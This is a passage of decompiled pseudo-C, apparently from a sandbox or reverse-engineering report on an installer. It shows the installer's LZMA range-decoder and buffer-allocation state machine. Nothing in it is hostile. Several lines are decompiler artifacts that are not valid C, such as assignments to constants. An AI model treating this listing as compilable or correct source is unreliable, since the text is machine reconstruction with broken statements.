							 *(_t613 - 0x88) = _t534;
							goto L1;
						} else {
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								goto L170;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						if( *(__ebp - 0x60) == 0) {
							L171:
							_t536 = _t535 | 0xffffffff;
							L172:
							return _t536;
						}
						__eax = 0;
						_t258 =  *(__ebp - 0x38) - 7 >= 0;
						0 | _t258 = _t258 + _t258 + 9;
						 *(__ebp - 0x38) = _t258 + _t258 + 9;
						L75:
						if( *(__ebp - 0x64) == 0) {
							 *(__ebp - 0x88) = 0x1b;
							L170:
							_t568 = 0x22;
							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
							_t536 = 0;
							goto L172;
						}
						__eax =  *(__ebp - 0x14);
						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
						if(__eax >=  *(__ebp - 0x74)) {
							__eax = __eax +  *(__ebp - 0x74);
						}
						__edx =  *(__ebp - 8);
						__cl =  *(__eax + __edx);
						__eax =  *(__ebp - 0x14);
						 *(__ebp - 0x5c) = __cl;
						 *(__eax + __edx) = __cl;
						__eax = __eax + 1;
						__edx = 0;
						_t274 = __eax %  *(__ebp - 0x74);
						__eax = __eax /  *(__ebp - 0x74);
						__edx = _t274;
						__eax =  *(__ebp - 0x68);
						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
						_t283 = __ebp - 0x64;
						 *_t283 =  *(__ebp - 0x64) - 1;
						 *( *(__ebp - 0x68)) = __cl;
						L79:
						 *(__ebp - 0x14) = __edx;
						L80:
						 *(__ebp - 0x88) = 2;
					}
					L1:
					_t535 =  *(_t613 - 0x88);
					if(_t535 > 0x1c) {
						goto L171;
					}
					switch( *((intOrPtr*)(_t535 * 4 +  &M004070E9))) {
						case 0:
							if( *(_t613 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t535 =  *( *(_t613 - 0x70));
							if(_t535 > 0xe1) {
								goto L171;
							}
							_t539 = _t535 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t609 = _t539 / _t570;
							_t541 = _t539 % _t570 & 0x000000ff;
							asm("cdq");
							_t604 = _t541 % _t571 & 0x000000ff;
							 *(_t613 - 0x3c) = _t604;
							 *(_t613 - 0x1c) = (1 << _t609) - 1;
							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
							_t612 = (0x300 << _t604 + _t609) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
								L10:
								if(_t612 == 0) {
									L12:
									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t612 = _t612 - 1;
									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
								} while (_t612 != 0);
								goto L12;
							}
							if( *(_t613 - 4) != 0) {
								GlobalFree( *(_t613 - 4));
							}
							_t535 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t613 - 4) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 1;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t45 = _t613 - 0x48;
							 *_t45 =  *(_t613 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t613 - 0x48) < 4) {
								goto L13;
							}
							_t547 =  *(_t613 - 0x40);
							if(_t547 ==  *(_t613 - 0x74)) {
								L20:
								 *(_t613 - 0x48) = 5;
								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t613 - 0x74) = _t547;
							if( *(_t613 - 8) != 0) {
								GlobalFree( *(_t613 - 8));
							}
							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
							 *(_t613 - 8) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
							 *(_t613 - 0x84) = 6;
							 *(_t613 - 0x4c) = _t554;
							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 3;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							_t67 = _t613 - 0x70;
							 *_t67 =  &(( *(_t613 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L23:
							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
							if( *(_t613 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							__edx = 0;
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x34) = 1;
								 *(__ebp - 0x84) = 7;
								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x5c) & 0x000000ff;
							__esi =  *(__ebp - 0x60);
							__cl = 8;
							__cl = 8 -  *(__ebp - 0x3c);
							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
							__ecx =  *(__ebp - 0x3c);
							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
							__ecx =  *(__ebp - 4);
							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
							__eflags =  *(__ebp - 0x38) - 4;
							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							if( *(__ebp - 0x38) >= 4) {
								__eflags =  *(__ebp - 0x38) - 0xa;
								if( *(__ebp - 0x38) >= 0xa) {
									_t98 = __ebp - 0x38;
									 *_t98 =  *(__ebp - 0x38) - 6;
									__eflags =  *_t98;
								} else {
									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
								}
							} else {
								 *(__ebp - 0x38) = 0;
							}
							__eflags =  *(__ebp - 0x34) - __edx;
							if( *(__ebp - 0x34) == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L61;
							} else {
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__ecx =  *(__ebp - 8);
								__ebx = 0;
								__ebx = 1;
								__al =  *((intOrPtr*)(__eax + __ecx));
								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
								goto L41;
							}
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L69;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							goto L0;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							goto L89;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							L37:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xd;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t122 = __ebp - 0x70;
							 *_t122 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t122;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L39:
							__eax =  *(__ebp - 0x40);
							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
								goto L48;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L54;
							}
							L41:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L39;
							} else {
								goto L37;
							}
						case 0xe:
							L46:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xe;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t156 = __ebp - 0x70;
							 *_t156 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t156;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							while(1) {
								L48:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax =  *(__ebp - 0x58);
								__edx = __ebx + __ebx;
								__ecx =  *(__ebp - 0x10);
								__esi = __edx + __eax;
								__ecx =  *(__ebp - 0x10) >> 0xb;
								__ax =  *__esi;
								 *(__ebp - 0x54) = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
								__eflags =  *(__ebp - 0xc) - __ecx;
								if( *(__ebp - 0xc) >= __ecx) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
									__cx = __ax;
									_t170 = __edx + 1; // 0x1
									__ebx = _t170;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									 *(__ebp - 0x10) = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0x10) >= 0x1000000) {
									continue;
								} else {
									goto L46;
								}
							}
							L54:
							_t173 = __ebp - 0x34;
							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
							__eflags =  *_t173;
							goto L55;
						case 0xf:
							L58:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xf;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t203 = __ebp - 0x70;
							 *_t203 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t203;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L60:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L55:
								__al =  *(__ebp - 0x44);
								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
								goto L56;
							}
							L61:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t217 = __edx + 1; // 0x1
								__ebx = _t217;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L60;
							} else {
								goto L58;
							}
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							goto L69;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
